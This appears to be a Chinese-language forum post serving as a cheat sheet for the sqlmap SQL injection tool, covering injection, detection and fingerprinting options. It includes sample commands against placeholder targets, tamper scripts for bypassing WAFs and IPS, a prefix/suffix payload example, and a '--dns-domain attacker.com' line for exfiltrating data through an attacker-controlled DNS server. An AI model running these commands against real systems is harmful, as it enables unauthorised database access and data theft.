注入参数介绍
-p
-
指定扫描的参数,使–level失效
-
-p “user-agent,referer”
–skip
-
排除指定的扫描参数
-
–level=5 –skip=”id,user-agent”
URl注入点
sqlmap -u "http://targeturl/param1/value*/param2/value2/"
–dbms指定内容,提升工作效率(例如:–dbms=”mysql”)
-
MySQL<5.0>
-
Oracle<11i>
-
Microsoft SQL server<2005>
-
PostgreSQL
-
Microsoft Aceess
-
SQLite
-
等等
–os
-
Linux
-
Windows
–invalid-bignum / –invalid-logical
-
通常sqlmap使用负值使参数取值失效 id=12 → id=-13
-
bignum使用大数使参数值失效 id=999999999999
-
Logical使用布尔判断使取值失效 id=13 AND 18=19
–no-cast
-
榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
-
老版本mysql数据库需要开启此开关
–no-escape
-
出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
SELECT 'foo' → SELECT CHAR(102)+CHAR(111)+CHAR(111)
#按照原样子参数发送
–prefix / –suffix
-
$query = “SELECT * FROM users WHERE id=(”’.$_GET[‘id’].”’)LIMIT 0,1″;
sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix''')" --suffix "AND('abc'='abc''
query = "SELECT * FROM users WHERE id=('1')<PAYLOAD>AND ('abc'='abc')LIMIT 0,1";
–tamper
-
混淆脚本,用于绕过应用层过滤、IPS、WAF
sqlmap -u "http://?????" tamper="tamper/between.py/???.py" -v 3
检测参数介绍
–level
-
1-5级(默认1)
-
/usr/share/sqlmap/xml/payloads 查看不同级别下发送不同的payload
–risk
-
1-4 (默认1 / 无害)
-
Risk升高可造成数据被篡改等风险(update)
–string, –not-string, –regexp, –code, –text-only, –titles
-
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但是有些页面随时间阈值变化,此时需要认为指定标识真假的字符串;
检测SQL注入存在的技术类型
默认使用全部技术
-
B:Boolean-based blind
-
E:Error-based
-
U:Union query-based
-
S:Stracked queries(文件系统,操作系统,注册表必须)
-
T:Time-based blind
–time-sec
-
基于时间的注入检测响应延迟时间(默认5秒)
–union-cols
-
默认联合查询1-10列,随–level增加量最多支持50例
-
–onion-cols 6-9
–union-char
-
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
-
–union-char 123
–dns-domain
-
攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
--dns-domain attacker.com
–second-order
-
在一个页面注入的结果,从另一个页面体现出来
--second-order http://1.1.1.1/b.php
指纹信息参数
-f, –fingerprint, -b, –banner
-
数据库管理系统指纹信息
-
DBMS,操作系统,架构,补丁
没有回复内容